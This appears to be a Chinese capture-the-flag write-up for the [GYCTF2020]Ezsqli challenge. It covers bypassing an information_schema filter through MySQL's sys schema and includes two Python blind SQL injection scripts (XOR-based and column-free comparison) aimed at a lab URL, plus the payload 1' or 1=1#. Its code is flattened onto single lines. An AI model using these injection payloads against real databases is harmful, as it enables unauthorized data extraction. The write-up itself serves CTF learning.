[GYCTF2020]Ezsqli
创始人
2024-02-19 07:34:44
0

先试一下万能密码

1' or 1=1#

发现有过滤,fuzz看一下过滤了什么

if,|,|| 没过滤,过滤了information_schema

MySQL5.7新特性:
由于performance_schema过于复杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chemainformation_schema两个库,本身数据库不存储数据。

information_schema.tables可以用sys.schema_table_statistics_with_buffersys.x$schema_table_statistics_with_buffer代替。

脚本:

import requests
import time
flag=""
src = "qwertyuiopasdfghjklzxcvbnm|1234567890?{_+}-=;',./<>!@#$%^&*()\""url =  "http://19fd2d53-da0b-4dc7-9a3d-cf3e98da329e.node4.buuoj.cn:81/index.php"for i in range(1,50):print(i)for j in src:pyload ={"id":"1^(ascii(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),%d,1))=%d)^1" % (i, ord(j))}time.sleep(0.5)res=requests.post(url=url, data=pyload)if 'Nu1L' in res.text:print(i)flag+=jprint(flag)break#users233333333333333, f1ag_1s_h3r3_hhhhh

这里 涉及到的是无列名注入

比较方式就是按照位比较ASCII大小,大的就大,举个例子
asd > abc
asd < flag
asd > absadasda
只要出现了大,那就是大
所以下面就是按照ASCII顺序去比较字符串,最后要减1是因为我们拿的是大于嘛,减1就是等于了

import requests
import timeurl='http://19fd2d53-da0b-4dc7-9a3d-cf3e98da329e.node4.buuoj.cn:81/index.php'
flag=''
for j in range(1,50):for i in range(32,128):hexchar=flag+chr(i)     payload='-1||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)datas={'id':payload}print(payload)time.sleep(0.5)re=requests.post(url=url,data=datas)if 'Nu1L' in re.text:flag+=chr(i-1)print(flag)breakprint(flag.lower())

得到flag的字母是大写的,改成小写就行了

相关内容

热门资讯

监控摄像头接入GB28181平... 流程简介将监控摄像头的视频在网站和APP中直播,要解决的几个问题是:1&...
Windows10添加群晖磁盘... 在使用群晖NAS时,我们需要通过本地映射的方式把NAS映射成本地的一块磁盘使用。 通过...
protocol buffer... 目录 目录 什么是protocol buffer 1.protobuf 1.1安装  1.2使用...
educoder数据结构与算法...                                                   ...
MySQL下载和安装(Wind... 前言:刚换了一台电脑,里面所有东西都需要重新配置,习惯了所...
MFC文件操作  MFC提供了一个文件操作的基类CFile,这个类提供了一个没有缓存的二进制格式的磁盘...
在Word、WPS中插入AxM... 引言 我最近需要写一些文章,在排版时发现AxMath插入的公式竟然会导致行间距异常&#...
有效的括号 一、题目 给定一个只包括 '(',')','{','}'...
Fluent中创建监测点 1 概述某些仿真问题,需要创建监测点,用于获取空间定点的数据࿰...
【Ctfer训练计划】——(三... 作者名:Demo不是emo  主页面链接:主页传送门 创作初心ÿ...